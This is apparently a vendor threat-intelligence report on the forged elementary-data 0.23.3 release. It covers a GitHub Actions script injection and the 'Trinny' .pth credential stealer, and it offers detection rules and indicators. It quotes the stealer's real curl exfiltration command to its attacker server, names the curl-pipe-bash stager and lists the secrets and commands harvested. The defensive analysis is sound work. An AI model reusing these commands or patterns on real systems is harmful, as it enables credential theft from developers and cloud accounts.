# Elementary Data PyPI & GHCR Supply Chain Compromise — Forged Release via GitHub Actions Script Injection (v0.23.3)

> On 2026-04-24, an attacker exploited a GitHub Actions script-injection vulnerability in the elementary-data project's update_pylon_issue.yml workflow (improper handling of ${{ github.event.comment.body }}) to abuse the workflow's GITHUB_TOKEN, push an orphan signed release commit, and dispatch the legitimate Release package workflow — without modifying main, opening a PR, or having any merge rights. The forged release shipped elementary-data 0.23.3 to PyPI and trojanized multi-arch container images to ghcr.io/elementary-data/elementary at tags 0.23.3 and latest. The payload — a ~245 KB base64-wrapped elementary.pth file executed at Python interpreter startup — ran a three-stage XOR/MD5-keystream-obfuscated credential harvester ("Trinny" stealer) that exfiltrated SSH keys, AWS/GCP/Azure credentials, AWS Secrets Manager and SSM Parameter Store contents, IMDSv2 role tokens, Kubernetes configs and in-cluster secrets, Docker configs, gh CLI tokens, .env files (recursive to depth 6), Vault/Rust/npm credentials, Bitcoin/Ethereum/Solana/Cardano/Monero wallets, /etc/passwd, /etc/shadow, and shell history via HTTPS POST to igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud.

- **Author:** Threadlinqs Team
- **Published:** 2026-05-11T12:00:00Z
- **Last updated:** 2026-05-11T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0496
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-elementary-data-pypi-compromise-tl-2026-0496.webp?v=0e1e8174 (Threadlinqs threat intel: elementary-data 0.23.3 Forged Release: Detection & IOCs (TL-2026-0496) — High severity, 24 IOCs, 9 detection rules.)
- **ID:** TL-2026-0496
- **Severity:** HIGH
- **Category:** SUPPLY_CHAIN
- **Status:** PATCHED
- **Detections:** 9 (1 shown free below) · **IOCs:** 24 (3 shown free below)

## Description

## Incident Overview

elementary-data is a widely deployed Python CLI for dbt data observability published by Elementary Data (~1.1M monthly PyPI downloads at time of compromise). On 2026-04-24 at 22:20:47 UTC, version 0.23.3 was published to PyPI containing an injected elementary.pth credential stealer. A matching multi-arch container image (linux/amd64 + linux/arm64) was pushed to ghcr.io/elementary-data/elementary at tags 0.23.3 and latest at 22:24 UTC (digest sha256:31ecc5939de6d24cf60c50d4ca26cf7a8c322db82a8ce4bd122ebd89cf634255). Any unpinned consumer of :latest pulled the trojanized image until removal ~10 hours later.

## Attack Chain — Forged Release via Script Injection

### Step 1: Pull-Request Comment Injection (T1190 / T1059.004)

The vulnerable workflow .github/workflows/update_pylon_issue.yml directly interpolated ${{ github.event.comment.body }} into a shell run: block. The attacker account realtungtungtungsahur (created 2026-04-22) posted a crafted comment on PR #2147 at 2026-04-24T22:10:14Z. The comment body included a curl|bash stager pointing at https://litter.catbox.moe/iqesmbhukgd2c7hq.sh (since expired). The workflow runs on pull_request_comment / issue_comment-style events with privileged context, so the injected command executed on the GitHub-hosted runner with the workflow's GITHUB_TOKEN and any repository/environment secrets bound to that workflow scope.

### Step 2: Forged Signed Release Commit (T1098 / T1556)

Using the stolen GITHUB_TOKEN from the runner, the stager called the GitHub REST API to create commit b1e4b1f3aad0d489ab0e9208031c67402bbb8480 as an orphan commit (not reachable from any branch). The commit was authored by github-actions[bot] and committed by web-flow — both impersonated identities GitHub will display as ✓ verified when committed via API with a privileged token. The commit message verbatim copied a real PR title: "release/v0.23.2 (#2188)". The commit bumped pyproject.toml to 0.23.3 and added elementary.pth. The attacker then created tag v0.23.3 pointing at the orphan commit.

Alongside the orphan commit, three preparatory branches and three pull requests were created as scaffolding (vendor confirmed: "the attacker creates three branches and three pull requests").

### Step 3: Workflow Dispatch (T1195.002)

The attacker invoked the legitimate Release package workflow via the GitHub API workflow_dispatch with input tag=v0.23.3. Because the workflow accepts a tag input and resolves artifacts from that tag (not from main), branch protection on main provided no defense. The Release package workflow:
 - Built the Python distribution from the orphan tag (now containing elementary.pth)
 - Published to PyPI via pypa/gh-action-pypi-publish using PYPI_USER / PYPI_PASS repository secrets
 - Built and pushed the multi-arch Docker image via build-and-push-docker-image

No branch modification occurred. No PR was merged. Branch protection and required reviews were never triggered.

## Payload — "Trinny" Credential Harvester

### Loader (Stage 1)

elementary.pth is a single ~245 KB base64-wrapped line. Python's site.py automatically executes any .pth file line beginning with import at interpreter startup. The line decodes a Python bootstrap that:
 1. Drops the persistence marker $TMPDIR/.trinny-security-update (Unix) or %TEMP%\.trinny-security-update (Windows). Presence of this file short-circuits re-execution to avoid re-running on every Python import.
 2. Decrypts Stage 2 using a XOR-with-MD5-keystream cipher seeded with the string "swabag".

### Harvester (Stage 2 → Stage 3)

Stage 2 decrypts Stage 3 using a second XOR/MD5 keystream seeded with the string "for any questions: contact 050afbe046d7545f5af1a0d3fcfbaf6e993fd93d487b431f09bc9e963c7220a135 on session" (a Session Messenger session ID embedded as the cipher seed).

Stage 3 collects, into a tarball:
 - **SSH:** ~/.ssh/* (private keys, known_hosts, config)
 - **Git:** gh CLI tokens via `gh auth token`, ~/.gitconfig, credentials helper stores
 - **AWS:** ~/.aws/{credentials,config}, IMDSv2 token + role credential lookup (T1552.005), `aws secretsmanager ListSecrets` + `GetSecretValue` enumeration, `aws ssm get-parameters-by-path /` recursive dump
 - **GCP:** ~/.config/gcloud/, ADC files, service account JSONs
 - **Azure:** ~/.azure/, MSAL token cache
 - **Containers:** ~/.docker/config.json, ~/.kube/config + in-cluster `/var/run/secrets/kubernetes.io/serviceaccount/token` if present; `kubectl get secrets -A -o yaml`
 - **Env files:** recursive .env / .env.* walk to depth 6 from $HOME and $PWD
 - **Language ecosystems:** ~/.pypirc, ~/.npmrc, Rust ~/.cargo/credentials.toml, Vault tokens (~/.vault-token, VAULT_TOKEN)
 - **Wallets:** Bitcoin Core wallet.dat, Ethereum keystores, Solana ~/.config/solana/id.json, Cardano, Monero wallets
 - **System:** /etc/passwd, /etc/shadow (when permissions allow)
 - **Shell history:** ~/.bash_history, ~/.zsh_history, ~/.local/share/fish/fish_history

### Exfiltration (T1041 / T1567.002 / T1071.001)

The collected files are tar-gzipped to $TMPDIR/trin.tar.gz then sent via:
```
curl --data-binary @trin.tar.gz -H 'X-Rise-To-The-Trinny: agree' https://igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud/
```
The archive is auto-deleted post-upload. The custom X-Rise-To-The-Trinny: agree header is a deterministic IOC for proxy/IDS detection.

## Vendor Response

Elementary Data confirmed the incident on 2026-04-25, rotated PyPI / Docker / GitHub publish credentials, removed the vulnerable workflow, audited all Actions for similar string-interpolation patterns, revoked existing access tokens, and migrated CI auth to GitHub OIDC where feasible. Version 0.23.4 (clean) was published 2026-04-25 at 11:51 UTC. PyPI/GHCR yanked the malicious release the same day.

## Attribution

Low-confidence. Attacker GitHub account realtungtungtungsahur (created 2026-04-22, two days pre-attack) uses Italian Brainrot meme aliases ("tung tung tung sahur"). Persistence-marker and header strings ("trinny", "Rise-To-The-Trinny") and the C2 hostname ("igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud" — a hijacked / lookalike subdomain of the SkyHanni Hypixel SkyBlock Minecraft mod project) suggest an individual financially-motivated actor in the cred-theft / wallet-drainer scene rather than a state operation. No overlap with known APT TTPs.

## Defensive Significance

This incident is a high-signal case study in CI/CD supply chain attacks because:
 1. **No branch modification, no merged PR, no compromised maintainer account.** Every standard supply-chain defensive control (branch protection, required reviews, signed commits via DCO/GPG-of-maintainers) was bypassed because the malicious commit was orphan and the release workflow trusted tag input.
 2. **Workflow-dispatch trust gap.** Any workflow with workflow_dispatch + tag input that resolves artifacts from the tag (rather than re-validating commit reachability from a protected branch) is vulnerable to this pattern.
 3. **GHCR :latest tag drift.** Consumers pulling :latest with no digest pinning were silently downgraded to a trojanized image for ~10 hours.
 4. **.pth file execution-at-startup.** A novel-for-PyPI delivery: every Python invocation in any venv with the package installed runs the payload, with no entry-point or import-time hook required.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1585 Establish Accounts
- T1587 Develop Capabilities
- T1195 Supply Chain Compromise
- T1199 Trusted Relationship
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1546 Event Triggered Execution
- T1098 Account Manipulation
- T1027 Obfuscated Files or Information
- T1140 Deobfuscate/Decode Files or Information
- T1556 Modify Authentication Process
- T1552 Unsecured Credentials
- T1555 Credentials from Password Stores
- T1083 File and Directory Discovery
- T1518 Software Discovery
- T1213 Data from Information Repositories
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1573 Encrypted Channel
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1567 Exfiltration Over Web Service

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Trinny C2 Exfiltration — Custom Header & skyhanni.cloud Egress (SPL)** (`TL-2026-0496-SPL-003`)

Detects the on-wire fingerprint of the Trinny stealer's exfiltration: HTTPS POST carrying the deterministic custom header 'X-Rise-To-The-Trinny: agree' to skyhanni.cloud (specifically igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud) and/or curl --data-binary @trin.tar.gz process invocations sourced from a Python interpreter.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1041, T1567.002, T1071.001, T1573.001
- **Data sources:** proxy_logs, zeek_http, zeek_dns, edr_network_events, firewall_logs
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=proxy OR index=netflow OR index=zeek OR index=dns sourcetype IN ("bro:http:json","zeek:http","stream:http","proxy","pan:url","bro:dns","zeek:dns","stream:dns")
| eval _header_hit=if(match(coalesce(http_user_agent,"").coalesce(http_request_headers,"").coalesce(headers,""), "(?i)X-Rise-To-The-Trinny"), 1, 0)
| eval _domain=lower(coalesce(http_host, host, query, dns_query, dest_host, url_domain, ""))
| eval _c2_host=if(match(_domain, "(?i)(^|\.)skyhanni\.cloud$") OR match(_domain, "(?i)igotnofriendsonlineorirl-imgonnakmslmao\.skyhanni\.cloud"), 1, 0)
| eval _curl_exfil=if(match(coalesce(process,"").coalesce(command,"").coalesce(CommandLine,""), "(?i)curl.*--data-binary.*trin\.tar\.gz"), 1, 0)
| where _header_hit=1 OR _c2_host=1 OR _curl_exfil=1
| stats earliest(_time) AS first_seen latest(_time) AS last_seen values(src) AS sources values(src_ip) AS src_ips values(dest) AS dests values(_domain) AS domains values(http_method) AS methods values(bytes_out) AS bytes_out BY src
| eval threat_id="TL-2026-0496", severity="critical", indicator="trinny_c2_exfil"
| table first_seen last_seen src src_ips dests domains methods bytes_out threat_id severity indicator
```

### Microsoft KQL

```kql
let ts = ago(7d);
let domain_hits = DeviceNetworkEvents
    | where Timestamp > ts
    | where RemoteUrl matches regex @"(?i)(^|\.)skyhanni\.cloud(/|:|$)" or RemoteUrl contains "igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud"
    | project Timestamp, DeviceName, AccountName=InitiatingProcessAccountName, Process=InitiatingProcessFileName, Cmd=InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, indicator="c2_domain";
let proc_hits = DeviceProcessEvents
    | where Timestamp > ts
    | where ProcessCommandLine matches regex @"(?i)curl.*--data-binary.*trin\.tar\.gz"
         or ProcessCommandLine matches regex @"(?i)X-Rise-To-The-Trinny"
    | project Timestamp, DeviceName, AccountName, Process=FileName, Cmd=ProcessCommandLine, RemoteUrl="", RemoteIP="", RemotePort=int(null), indicator="trinny_exfil_cmd";
union domain_hits, proc_hits
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hits=count(), Indicators=make_set(indicator), Cmds=make_set(Cmd,5), Urls=make_set(RemoteUrl,5) by DeviceName, AccountName, Process
```

### Sigma

```yaml
title: Trinny Stealer Exfiltration — X-Rise-To-The-Trinny Header / skyhanni.cloud C2 (TL-2026-0496)
id: 5ac1c4e0-0496-4003-a003-aaaaaaaa0496
status: experimental
description: Detects the deterministic on-wire fingerprint of the Trinny credential stealer's exfiltration channel — the custom HTTP header 'X-Rise-To-The-Trinny: agree', the attacker C2 hostnames under skyhanni.cloud, or a curl --data-binary @trin.tar.gz process invocation.
references:
    - https://threats.wiz.io/all-incidents/elementary-data-compromised-in-supply-chain-attack
    - https://www.bleepingcomputer.com/news/security/pypi-package-with-11m-monthly-downloads-hacked-to-push-infostealer/
author: Threadlinqs Team
date: 2026/05/11
logsource:
    category: proxy
detection:
    selection_header:
        cs-headers|contains: 'X-Rise-To-The-Trinny'
    selection_host:
        cs-host|endswith:
            - '.skyhanni.cloud'
            - 'skyhanni.cloud'
    selection_specific_c2:
        cs-host|contains: 'igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud'
    condition: selection_header or selection_host or selection_specific_c2
falsepositives:
    - The SkyHanni Hypixel Minecraft mod project (github.com/hannibal002/SkyHanni) is unaffiliated; legitimate traffic to skyhanni.cloud is not expected in enterprise environments — investigate any hit
level: critical
tags:
    - attack.exfiltration
    - attack.t1041
    - attack.t1567.002
    - attack.command_and_control
    - attack.t1071.001

```

**Known false positives:**

- No known legitimate enterprise traffic to skyhanni.cloud. Hypixel-Minecraft-mod-related dev traffic is theoretically possible from developer workstations — investigate but do not auto-suppress

**Tuning notes:** The X-Rise-To-The-Trinny header is a deterministic IOC with effectively zero false-positive rate — alert at critical with no aggregation. For the skyhanni.cloud selector, broaden to include passive DNS / TLS-SNI / NetFlow if HTTP-header visibility is incomplete. Add the exact subdomain igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud to perimeter DNS/proxy blocklists immediately as a containment control.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- GitHub Actions Script-Injection & Orphan-Tag Release Abuse — Exploitation (KQL) (locked: unlock with TL Creds)
- Trinny Cloud Credential Harvest — IMDSv2 + Secrets Manager Burst from Python (KQL) (locked: unlock with TL Creds)
- Trinny Collection Staging — Python Reads Multi-Cloud Creds Then tars [indicator] (KQL) (locked: unlock with TL Creds)
- Vulnerable GitHub Actions Workflow — Untrusted Input in run: Block (Sigma) (locked: unlock with TL Creds)
- Forged Orphan Release Tag — github-actions[bot] / web-flow Author (Sigma) (locked: unlock with TL Creds)
- Trinny C2 Exfil Command — curl --data-binary @[indicator] With Custom Header (Sigma) (locked: unlock with TL Creds)
- elementary-data 0.23.3 Trojanized Install — Exploitation Phase (SPL) (locked: unlock with TL Creds)
- Trinny .pth Loader Drop & Persistence Marker — Post-Exploitation (SPL) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 24)

Defanged, TLP:CLEAR.

- Domain: `skyhanni[.]cloud`
- URL: `hxxps://litter[.]catbox[.]moe/iqesmbhukgd2c7hq.sh`
- File hash: `31ecc5939de6d24cf60c50d4ca26cf7a8c322db82a8ce4bd122ebd89cf634255`

Full set of 24 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Wiz Cloud Threat Landscape — Elementary Data Compromised in Supply Chain Attack](https://threats.wiz.io/all-incidents/elementary-data-compromised-in-supply-chain-attack)
- [StepSecurity — elementary-data Compromised on PyPI and GHCR: Forged Release Pushed via GitHub Actions Script Injection](https://www.stepsecurity.io/blog/elementary-data-compromised-on-pypi-and-ghcr-forged-release-pushed-via-github-actions-script-injection)
- [Elementary Data — Security Incident Report: Malicious release of Elementary OSS Python CLI v0.23.3](https://www.elementary-data.com/post/security-incident-report-malicious-release-of-elementary-oss-python-cli-v0-23-3)
- [BleepingComputer — PyPI package with 1.1M monthly downloads hacked to push infostealer](https://www.bleepingcomputer.com/news/security/pypi-package-with-11m-monthly-downloads-hacked-to-push-infostealer/)
- [BusinessStory — Open-source package with 1 million monthly downloads exfiltrated users' credentials](https://www.businessstory.org/2026/04/27/open-source-package-with-1-million-monthly-downloads-exfiltrated-users-credentials/)
- [GitHub Security Lab — Keeping your GitHub Actions and workflows secure: Untrusted input](https://securitylab.github.com/research/github-actions-untrusted-input/)
- [MITRE ATT&CK — Supply Chain Compromise: Compromise Software Supply Chain (T1195.002)](https://attack.mitre.org/techniques/T1195/002/)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0496
